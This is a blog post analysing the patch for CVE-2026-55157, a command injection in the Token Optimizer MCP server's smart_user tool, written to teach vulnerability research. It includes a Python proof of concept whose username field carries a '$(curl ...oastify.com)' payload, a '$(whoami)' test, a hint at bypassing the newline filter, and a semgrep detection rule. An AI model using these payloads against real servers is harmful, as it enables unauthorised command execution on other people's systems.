Recently, I’ve been getting into analyzing security patches. Louis Nyffeneger’s book CVE Archeologist’s Field Guide inspired me to explore vulnerabilities in open-source software, and it’s been a great learning experience! I highly recommend giving it a read.
The focus of this post is CVE-2026-55157, an OS command injection vulnerability in Token Optimizer MCP. A pretty basic vulnerability but it was a good way to practice my methodology.
Analysis
The vulnerability was patched in version 5.1.0 per the advisory report. First step is to determine what code changes were made to fix the vulnerability. This is called diffing and tool for the job is git.
Diffing
I’m an emacs lover so I used magit, a git porcelain (still figuring out what that means) to perform the diffing. I diffed from 5.0.1 (the version prior) to 5.1.0. Magit automatically displays an overview of what changed in the header:
123 files changed, 10331 insertions(+), 3347 deletions(-)There are plenty of changes to go through. But from the advisory description, we know that the smart_user tool is mentioned. I did a simple search for that string and it lead me here:
// 44. smart_user
-export const SmartUserSchema = GenericToolOptionsSchema;
+// username / groupname / path reach external lookup commands; validate them.
+export const SmartUserSchema = z
+ .object({
+ username: safePathArg.optional(),
+ groupname: safePathArg.optional(),
+ path: safePathArg.optional(),
+ })
+ .passthrough()
+ .describe('Options for smart_user tool');This is a Zod schema definition for the smart user tool. Looks like there’s some sanitization on username, groupname, and path properties. Based on the comment, these properties could be sources.
Further up the file, we can see how safePathArg is defined:
+const safePathArg = z
+ .string()
+ .min(1)
+ .max(4096)
+ .refine((v) => !/[\0\n\r]/.test(v), {
+ message: 'must not contain control characters',
+ })
+ .refine((v) => !v.startsWith('-'), { message: "must not start with '-'" });safePathArgz simply filters out the “control characters:” null byte (\0), new line (\n), and carriage return (\r). Additionally, the input must not start with -. Pretty simple and I’m sure you can think of a few ways to get around this but let’s leave that for further discussion later.
Further along, there”s changes to a file called smart-user.ts:
-import { exec } from 'child_process';
-import { promisify } from 'util';
+import { readFileSync } from 'fs';
import * as crypto from 'crypto';
+import { execFileSafe, assertSafeArg } from '../../utils/safe-exec.js';
-const execAsync = promisify(exec);
+/**
+ * SECURITY (CWE-78): every external command in this tool now runs in argv mode
+ * via {@link execFileSafe} (no shell), and all caller-controlled values
+ * (username, group name, path) are validated with {@link assertSafeArg} before
+ * use. The previous implementation interpolated these values into shell command
+ * strings (e.g. `getent passwd "${username}" || grep "^${username}:" ...`),
+ * which let `$(...)`/backtick payloads execute as the server user.
+ */
...
- const { stdout: passwdOut } = await execAsync(
- `getent passwd "${username}" || grep "^${username}:" /etc/passwd`
- );
+ const passwdOut = await this.lookupPasswdEntry(username);
...
- const { stdout } = await execAsync(
- `getent group "${groupname}" || grep "^${groupname}:" /etc/group`
- );
+ const stdout = await this.lookupGroupEntry(groupname);
...
- const { stdout } = await execAsync(`icacls "${path}"`);
+ assertSafeArg(path, 'path');
+ const { stdout } = awaitNow we’re cookin’! This looks like the meat and potatoes of the vulnerability. Inserting user-controllable data as a string directly into exec is a big no-no. This has been replaced by several helper functions.
Let’s take a look at lookupPasswdEntry as an example:
+ /**
+ * Look up a single passwd entry by username. Tries `getent passwd <user>`
+ * (argv mode) and falls back to scanning /etc/passwd in-process. Replaces the
+ * injectable `getent passwd "${username}" || grep "^${username}:" ...`.
+ */
+ private async lookupPasswdEntry(username: string): Promise<string> {
+ assertSafeArg(username, 'username');
+ try {
+ const { stdout } = await execFileSafe('getent', ['passwd', username]);
+ if (stdout.trim()) return stdout.trim();
+ } catch {
+ // fall through to file scan
+ }
+ const contents = readFileSync('/etc/passwd', 'utf-8');
+ const match = contents
+ .split('\n')
+ .find((line) => line.startsWith(`${username}:`));
+ if (!match) {
+ throw new Error(`User not found: ${username}`);
+ }
+ return match;
+ }It seems to first lookup user info by calling getent passwd <username>. If that doesn’t work, the user is grepped for by reading /etc/passwd directly. Pretty simple.
execFileSafe was also introduced in the new version:
+/**
+ * Safe command execution helpers (argv-mode, no shell).
+ *
+ * SECURITY: These helpers exist to eliminate the OS command-injection class
+ * (CWE-78) that affected the smart_* git/system/build tools. The vulnerable
+ * pattern was building a single command string with caller-controlled values
+ * interpolated into it, then running it through `execSync`/`execAsync` or
+ * `spawn(..., { shell: true })`. A shell then interpreted metacharacters such
+ * as `;`, `|`, `$(...)`, and backticks, allowing arbitrary command execution.
+ *
+ * The fix is to ALWAYS pass the binary plus an argument ARRAY to
+ * `execFile`/`spawn` with `shell: false`. In argv mode the OS executes the
+ * binary directly and each array element is delivered to the process verbatim
+ * as a single argument — no shell, so shell-metacharacter interpretation is
+ * impossible regardless of input.
+ *
+ * Never reintroduce string-concatenated commands, `shell: true`, or
+ * `execSync(`...${userInput}...`)` in tool code. Route everything through the
+ * helpers below.
+ */
+import { execFile, execFileSync, spawn } from 'child_process';
+import { promisify } from 'util';
+
+const execFileAsyncImpl = promisify(execFile);
...
+/**
+ * Run a command asynchronously in argv mode.
+ *
+ * @returns Resolves with `{ stdout, stderr }`.
+ */
+export async function execFileSafe(
+ file: string,
+ args: readonly string[] = [],
+ options: SafeExecOptions = {}
+): Promise<{ stdout: string; stderr: string }> {
+ try {
+ const { stdout, stderr } = await execFileAsyncImpl(file, [...args], {
+ cwd: options.cwd,
+ encoding: options.encoding ?? 'utf-8',
+ timeout: options.timeout,
+ maxBuffer: options.maxBuffer ?? DEFAULT_MAX_BUFFER,
+ env: options.env,
+ windowsHide: true,
+ shell: false,
+ });
+ // With `encoding` set, execFile yields strings.
+ return { stdout: stdout as string, stderr: stderr as string };
+ } catch (error) {
+ if (
+ options.ignoreExitCode &&
+ error &&
+ typeof error === 'object' &&
+ 'stdout' in error
+ ) {
+ const e = error as { stdout?: string | Buffer; stderr?: string | Buffer };
+ return {
+ stdout: e.stdout ? e.stdout.toString() : '',
+ stderr: e.stderr ? e.stderr.toString() : '',
+ };
+ }
+ throw error;
+ }
+}This is simply a wrapper around execFile. Instead of a string passed to exec, a binary is passed with an array of arguments.
A key thing to note is that shell is set explicitly to false. The comment does a wonderful job at explaining why this is important. If shell is set to true, meta-chars can be interpreted which could allow calls to arbitrary commands (ex: getent passwd $(<injected command>)).
Just from diffing, we have a pretty solid feel of the context of the vulnerability and the defenses that were put in place without even digging into the repo itself.
The missing piece is how the vulnerable sink was reached in the first place. In other words, we don’t know the source…yet…
Taint tracking
To start, I checked out the vulnerable version, 5.0.1. Since I know the sinks from reviewing the diffs, I’ll start from a sink and work my way backwards.
I chose the sink at line 918 in smart-user.ts:
const { stdout: passwdOut } = await execAsync(
`getent passwd "${username}" || grep "^${username}:" /etc/passwd`
);It lives in the getUserDetails function which is called on line 403:
const user = await this.getUserDetails(options.username);It’s passed in a username from an options object. I traced options back to a getUserInfo helper function. getUserInfo is then called in a switch statement inside of a run function:
...
case 'get-acl':
result = await this.getACL(options);
break;
case 'get-user-info':
result = await this.getUserInfo(options); // getUserInfo called here
break;
case 'get-group-info':
result = await this.getGroupInfo(options);
break;
...The run command that initiates the smart user tool is then called src/server/index.ts:
// src/server/index.ts
case 'smart_user': {
const options = args as any;
const result = await smartUser.run(options);
return {
content: [
{
type: 'text',
text: JSON.stringify(result, null, 2),
},
],
};
}options is passed an args object, which comes from request:
// Create MCP server
const server = new Server(
{
name: 'token-optimizer-mcp',
version: '0.2.0',
},
{
capabilities: {
tools: {},
},
}
);
...
server.setRequestHandler(CallToolRequestSchema, async (request) => {
const { name, arguments: args } = request.params;Now we’re getting somewhere. The source is a request parameter from an MCP server.
Reproduction
I traced the vulnerable code path, which should work in theory, but means nothing unless I can actually exploit it.
To run the MCP server, I took a look at the package.json to find the relevant scripts:
"build": "tsc",
"start": "node dist/server/index.js",So, I should be able to start the server by running:
npm install
npm run build
npm run startin the project’s root. This allowed me to run the server, but I’m still not entirely sure how to interact with it.
After re-reviewing src/server/index.ts, I saw that the server was imported from the Model Context Protocol library:
import { Server } from '@modelcontextprotocol/sdk/server/index.js';It is then run here:
// Start server
async function main() {
const transport = new StdioServerTransport();
await server.connect(transport);The StdioServerTransport instantiation tells us that the server receives input over stdin. So, it doesn’t open up a port as a traditional HTTP server would. Cool!
To interact with the server, you can create an MCP client from the same library. However, for the purposes of a PoC, I just had AI build me a simple python script that sends JSON RPC messages that invoke the tool:
#!/usr/bin/env python3
import json
import subprocess
import sys
SERVER = ["node", "token-optimizer-mcp/dist/server/index.js"] # path to built mcp
def send(process, message):
data = json.dumps(message) + "\n"
process.stdin.write(data.encode())
process.stdin.flush()
def receive(process):
line = process.stdout.readline()
if not line:
raise RuntimeError("MCP server closed stdout")
return json.loads(line)
def main():
print("Starting MCP server...")
process = subprocess.Popen(
SERVER,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=sys.stderr,
)
try:
# MCP initialization
send(process, {
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-06-18",
"capabilities": {},
"clientInfo": {
"name": "python-poc",
"version": "0.1.0",
},
},
})
response = receive(process)
send(process, {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "smart_user",
"arguments": {
"operation": "get-user-info",
"username": "$(curl http://cwcv77rgnhszo6wahgycyaewmnseg44t.oastify.com)" # injected command
}
},
})
response = receive(process)
text = response["result"]["content"][0]["text"]
data = json.loads(text)
print(json.dumps(data, indent=2))
finally:
process.terminate()
process.wait()
if __name__ == "__main__":
main()For the payload, I made a request to a Burp Collaborator domain in case the output wasn’t transparent and I got a pingback! This means that I was successfully able to slip in an OS command into a tool that is only supposed to return user information. Cool!
I tried again on master to see the behavior of the patch with a basic whoami payload and received this response:
"data": {
"error": "Failed to get Unix user details: User not found: $(whoami)"
},This time, the $() characters were not interpreted by the shell as syntax and, instead, treated as any other character.
On the surface, the patch seems to work fine but let’s review the code changes to see how this resolved the issue.
Reviewing the fix
From the patch diff, there were three things that were improved during the patch:
- Safe wrapper utilities
- Input validation with Zod
- Input validation using assertions
The real fix lies in the use of execFile instead of exec. There were a handful of wrappers created but we’ll focus on execFileSafe:
import { execFile, execFileSync, spawn } from 'child_process';
import { promisify } from 'util';
const execFileAsyncImpl = promisify(execFile);
...
/**
* Run a command asynchronously in argv mode.
*
* @returns Resolves with `{ stdout, stderr }`.
*/
export async function execFileSafe(
file: string,
args: readonly string[] = [],
options: SafeExecOptions = {}
): Promise<{ stdout: string; stderr: string }> {
try {
const { stdout, stderr } = await execFileAsyncImpl(file, [...args], {
cwd: options.cwd,
encoding: options.encoding ?? 'utf-8',
timeout: options.timeout,
maxBuffer: options.maxBuffer ?? DEFAULT_MAX_BUFFER,
env: options.env,
windowsHide: true,
shell: false,
});
// With `encoding` set, execFile yields strings.
return { stdout: stdout as string, stderr: stderr as string };
} catch (error) {
if (
options.ignoreExitCode &&
error &&
typeof error === 'object' &&
'stdout' in error
) {
const e = error as { stdout?: string | Buffer; stderr?: string | Buffer };
return {
stdout: e.stdout ? e.stdout.toString() : '',
stderr: e.stderr ? e.stderr.toString() : '',
};
}
throw error;
}
}The biggest improvement is calling execFile instead of exec which takes an executable/command and a list of arguments instead of just a string. Notice that shell is set to false as an option. According to the documentation, this is false by default and will not run a command in a shell when false.
Because it’s not running in a shell, syntax such as $() or ; are parsed as normal strings. This prevents the execution of arbitrary commands.
Additionally, the helper assertSafeArg is used to ensure passed arguments don’t contain new lines or -:
export function assertSafeArg(value: string, fieldName = 'argument'): string {
if (typeof value !== 'string' || value.length === 0) {
throw new Error(`Invalid ${fieldName}: must be a non-empty string`);
}
if (value.length > MAX_PATH_LENGTH) {
throw new Error(
`Invalid ${fieldName}: exceeds ${MAX_PATH_LENGTH} characters`
);
}
if (/[\0\n\r]/.test(value)) {
throw new Error(
`Invalid ${fieldName}: contains illegal control characters`
);
}
if (value.startsWith('-')) {
throw new Error(`Invalid ${fieldName}: must not start with '-'`);
}
return value;
}This is implemented as another layer of defense. However, it can be easily bypassed as there are more than just 3 characters that can be used to break up a line, such as a line separator character.
On top of this, the fix also introduced a Zod schema to validate arguments:
// 44. smart_user
// username / groupname / path reach external lookup commands; validate them.
export const SmartUserSchema = z
.object({
username: safePathArg.optional(),
groupname: safePathArg.optional(),
path: safePathArg.optional(),
})
.passthrough()
.describe('Options for smart_user tool');
...
const safePathArg = z
.string()
.min(1)
.max(4096)
.refine((v) => !/[\0\n\r]/.test(v), {
message: 'must not contain control characters',
})
.refine((v) => !v.startsWith('-'), { message: "must not start with '-'" });
This pretty much does the same thing… Less defense in depth and more redundant code. I think it would have been cleaner just to use Zod instead of assertSafeArg function but to each their own.
Deny-lists using regex have been bypassed time and time again. Luckily, in this instance the execFileSafe is the real hero and actually resolves the issue. Not to say that it’s a bad to have defense in depth but the defense in question is inadequate.
Variant Analysis
It’s one thing to check if a patch effectively prevents the vulnerability. It’s another thing if other vulnerable areas were forgotten about and left un-patched. This is known as variant analysis.
There were three unsafe patterns I wanted to test the code base for:
- calls to
exec(original vulnerable pattern) - calls to
execFile/spawn/execFileSync… whereshellis set totrue - calls to ” ” where user input is passed to the first argument (command)
To answer these questions, I can use semgrep, a static analysis security tool. I wrote a custom pattern to flag any unsafe uses of the child process library:
rules:
- id: cwe-78-nodejs
languages:
- javascript
- typescript
message: "child_process function called unsafely"
severity: ERROR
patterns:
- pattern-either:
- pattern: '$CPFUNC(..., { ..., shell: true, ... })'
- pattern: $CPFUNC(..., ...)
- pattern-not: $CPFUNC("...", ...)
- pattern-not: $CPFUNC(process.execPath, ...)
- metavariable-regex:
metavariable: $CPFUNC
regex: "(spawn|exec).*"It’s not a perfect config but it gets the job done.
I then ran it on the src dir:
semgrep -c CWE-78-semgrep.yaml ./token-optimizer-mcp/src I got a few results in a few other tools:
...
token-optimizer-mcp/src/tools/configuration/smart-package-json.ts
❯❯❱ cwe-78-nodejs
❰❰ Blocking ❱❱
child_process function called unsafely
421┆ const output = execFileSafeSync(
422┆ pmCmd,
423┆ [...pmPrefix, 'list', '--json',
`--depth=${depth}`],
424┆ {
425┆ cwd: this.projectRoot,
426┆ maxBuffer: 10 * 1024 * 1024, // 10MB buffer
427┆ timeout: 30000, // 30 second timeout
428┆ }
429┆ );
⋮┆----------------------------------------
616┆ const output = execFileSafeSync(pmCmd,
[...pmPrefix, 'audit', '--json'], {
617┆ cwd: this.projectRoot,
618┆ timeout: 30000,
619┆ maxBuffer: 10 * 1024 * 1024,
620┆ });
⋮┆----------------------------------------
727┆ const output = execFileSafeSync(
728┆ pmCmd,
729┆ [...pmPrefix, 'outdated', '--json'],
730┆ {
731┆ cwd: this.projectRoot,
732┆ timeout: 30000,
733┆ maxBuffer: 10 * 1024 * 1024,
734┆ }
735┆ );
token-optimizer-mcp/src/tools/system-operations/smart-process.ts
❯❯❱ cwe-78-nodejs
❰❰ Blocking ❱❱
child_process function called unsafely
186┆ const child = spawn(options.command, options.args
|| [], {
187┆ cwd: options.cwd,
188┆ env: { ...process.env, ...options.env },
189┆ detached: options.detached,
190┆ stdio: 'pipe',
191┆ shell: false,
192┆ windowsHide: true,
193┆ });
...Tracing the call in src/tools/configuration/smart-package-json.ts didn’t lead anywhere since pmCmd is an enum for npm, yarn, or pnpm. So I can’t arbitrarily set that.
I was, however, able to achieve command execution with smart-process.ts by sending this payload:
send(process, {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "smart_process",
"arguments": {
"operation": "start",
"command": "touch",
"args": ["/tmp/hacked"]
}
},
})I can execute any system command I want with the smart_process tool. But, there isn’t really any impact here. The purpose of smart_process is to give the agent a means of creating a process. So, I’m not really using this functionality unintentionally.
The vulnerability with smart_user was real, since the tool was just meant to extract user information. Executing system commands was an unintended side-affect and therefore, a valid vulnerability.
Conclusion
I learned a lot evaluating the fix for CVE-2026-55157. It was fun re-discovering the vulnerability and going further by doing some simple variant analysis.
I hope to examine more known vulnerabilities in the future. Maybe I’ll start a bit more blind next time or examine some binaries.
I encourage you try reproducing the vulnerability yourself or perform a similar process with another vuln from GitHub Advisories.